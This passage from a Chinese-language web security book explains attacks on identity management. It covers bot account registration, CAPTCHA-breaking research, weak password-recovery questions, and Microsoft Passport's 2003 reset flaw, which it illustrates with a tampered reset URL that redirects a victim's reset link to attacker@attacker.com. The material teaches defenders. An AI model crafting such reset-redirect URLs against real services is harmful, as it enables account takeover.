4.2.3 身份管理

使用的验证系统必须有某种管理身份的方法——注册、账户管理(例如密码重置)等。这些活动也需要安全地进行,因为错误可能会影响每种敏感信息(如凭据)。遗憾的是,身份管理可能是复杂的工作,许多Web应用不能很好地进行身份管理,使得它们的验证系统可能被误用和绕过。

在本小节中,我们将讨论对身份管理的常见攻击。

注意  一些网站寻求以第三方外包的方式完全避免身份管理难题。Microsoft的Windows Live ID就是这样一种服务——更多的信息参见我们前面对Live ID的讨论。

用户注册攻击

有时候,访问Web应用的最简方法是使用注册系统创建一个有效的账户。这种方法通过关注注册过程,从本质上避开了对验证界面的攻击。当然,过滤恶意目的的账户注册是有挑战性的问题,但是Web应用开发了许多机制来缓解这种活动,包括全自动区分计算机和人类的图灵测试(CAPTCHA)。CAPTCHA常在应用所有者希望阻止程序、僵尸或者脚本执行特定操作时用于基于Web的应用。CAPTCHA的一些示例包括:

·免费的电子邮件服务: 许多免费电子邮件服务使用CAPTCHA阻止程序创建虚假账户,从总体上将垃圾邮件减少到最小限度。

·密码猜测攻击预防: CAPTCHA已经被用于登录页面,避免工具和程序执行自动化的密码猜测攻击。

·搜索引擎僵尸预防: CAPTCHA有时用于阻止搜索引擎僵尸索引页面。

·在线民意调查: CAPTCHA通过确保一个程序不响应民意调查,可能成为阻止人们歪曲在线民意调查结果的一种有效方法。

CAPTCHA是一种人类交互式证明(Human Interactive Proof,HIP)技术,用于确定另一端的实体是人还是计算机。这种技术以前被称作逆向图灵测试(Reverse Turing Test,RTT)。CAPTCHA的不同之处在于它是“完全自动的”,这使其适用于Web应用。

CAPTCHA的常见类型通常基于文本识别或者图像识别。下面的图像展示了常见的CAPTCHA实现。

下图显示了Gimpy-r CAPTCHA,这种技术被认为是低效的,因为自动化例程常常能将其击破:

下面显示的是用于质询Hotmail.com注册的CAPTCHA。注意,右上角有一个音频CAPTCHA选项:

下面是来自CAPTCHA.net的图形化CAPTCHA:

计算机视觉和图像识别最近的发展和研究为破坏CAPTCHA提供了基础。简单的CAPTCHA如使用文本识别的EZGimpy已经被加州大学伯克利分校的研究人员Greg Mori和Jitendra Malik攻破。AretéAssociates的Gabriel Moy、Nathan Jones、Curt Harkless和Randy Potter已经创建一个程序,在78%的情况下破坏了更复杂的Gimpy-r算法。

在编写本书的时候,PWNtcha是最成功的CAPTCHA解码器。它对破坏用于流行网站如PayPal和Slashdot的著名CAPTCHA有80%的成功率。尽管代码没有公布,但是你可以将CAPTCHA上传到该网站进行解码。图4-7展示了使用PWNtcha的一个示例。

图4-7 PWNtcha成功识别PWNtcha的类型以及图像中的文本

尽管大部分研究人员都没有发行破坏CAPTCHA的程序,但是黑客不会落在研究人员之后。本书的作者们曾经和多家已经成为黑客受害者的公司协作,这些黑客创建自动注册账户的僵尸,这些公司的应对措施是使用CAPTCHA。但是,一周之内,黑客就能够破坏CAPTCHA,采用的方法可能是对武器库中的某个现有程序进行改编。计算机视觉和处理能力的进步要求开发更复杂的CAPTCHA。在某些事例中,犯罪组织已经避开了自动化攻击的复杂性,开始简单地采用人力来破坏CAPTCHA。

凭据管理攻击

绕过验证的另一个途径是攻击凭据管理子系统。例如,大部分网站实现常见的密码恢复机制,如将新密码发送给固定的电子邮件地址,或者回答“机密问题”(例如,“你最喜欢的宠物名字是?”或者“你进入过哪所中学?”)的自助应用。

我们在咨询中发现,许多这种所谓的机密问题很容易猜测,往往不能被看做是一个“机密”。例如,我们曾经无意中发现一个设计用来引出用户的客户ID和邮政编码以便恢复密码的问题,其中的客户ID是顺序的,而邮政编码很容易使用常见邮政编码词典或者通过暴力机制猜测。

对密码恢复机制的另一种经典攻击是使密码恢复应用将密码重置信息发送到不正确的电子邮件地址。即使大型公司也曾经遭到这种攻击,正如2003年5月Microsoft的Passport Internet验证服务所出现的事故(前面已经提到过,Passport现称“Windows Live ID”,但是我们将在介绍早期对该服务的攻击时仍使用当时的名称)。Passport的自助密码重置应用设计为多步骤的过程,向应用发送一个包含允许用户修改密码的URL的电子邮件。电子邮件中的URL如(由于页宽限制进行了手工换行):

https://register.passport.net/emailpwdreset.srf?em=victim@hotmail.com&prefem=attacker@attacker.com&rst=1

尽管查询串变量有点隐秘,但是这个例子中的emailpwdreset应用将把victim@hotmail.com账户的密码重置URL发送给邮件地址attacker@attacker.com,此后,“Attacker”(攻击者)将能重置“Victim”(受害者)的密码,从而入侵该账户。